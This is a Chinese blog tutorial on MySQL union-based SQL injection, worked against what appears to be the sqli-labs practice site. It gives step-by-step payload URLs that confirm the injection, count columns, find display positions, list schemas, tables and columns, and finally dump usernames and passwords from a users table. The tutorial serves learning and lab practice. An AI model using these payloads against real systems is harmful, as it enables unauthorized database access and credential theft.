SQL注入之联合查询注入 - WileySec's Blog

SQL注入之联合查询注入

本文章主要记录MySQL数据库的SQL注入的联合查询注入一些总结


Feature


什么是联合查询?

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

联合查询注入条件

联合查询注入需要在页面上有占位

什么是占位?

59910-bwfun6pco86.png

比如,一个新闻,红框框中的都是从数据库取出数据显示在页面上的,每一个红框框都是一个占位。

联合查询注入步骤

  • 判断是否有注入
  • 判断是数字型注入还是字符型注入
  • 猜测查询列数
  • 寻找占位
  • 获取所有数据库名
  • 获取指定数据的所有表名
  • 获取指定数据库的指定数据表的所有字段名
  • 获取指定数据库的指定数据表的所有的内容

联合查询注入

判断是否有注入

75173-kf6uxjeibo.png

输入单引号进行测试,发现SQL语句报错,可能存在注入

判断是数字型注入还是字符型注入

08921-1c90l94erar.png

http://sqli.io/Less-1/index.php?id=1' and 1=1--+

29810-few5l8afnul.png

http://sqli.io/Less-1/index.php?id=1' and 1=2--+

通过判断页面返回正常和错误,可发现是 字符型注入

猜测查询列数

使用 order by 语句猜测查询列数

37130-l79wguumyek.png

http://sqli.io/Less-1/index.php?id=1' order by 10--+

先猜测10列,发现不存在10列

50172-q1jbcbs7m8.png

http://sqli.io/Less-1/index.php?id=1' order by 3--+

列数为3时,页面返回正常,说明是列数为3

寻找占位

使用联合查询 union select 语句寻找占位

84747-5jzl472q0sg.png

发现页面上并没有显示 1,2,3 占位

36190-s9z6nc89mj.png

发现输入一个不存在的id值,然后再进行联合查询,页面上出现了占位

是因为第一个查询的值已经展示到页面上,让第一个查询出错没有值,后面查询的值替换这个位置即可看到占位的位置

获取所有数据库名

92347-fu52u0atc59.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+

将占位2的位置替换成SQL语句查询,可以将所有数据库的名称列出来

获取指定数据的所有表名

27353-cfbhiawyyfg.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'--+

获取指定数据库的指定数据表的所有字段名

46475-r4txj2zfpz.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA='security'--+

获取指定数据库的指定数据表的所有的内容

98377-mdlfu5o0a6d.png

http://sqli.io/Less-1/index.php?id=-1' union select 1,group_concat(id,username,password),3 from security.users--+

添加新评论

电子邮件地址不会被公开,评论内容可能需要管理员审核后显示。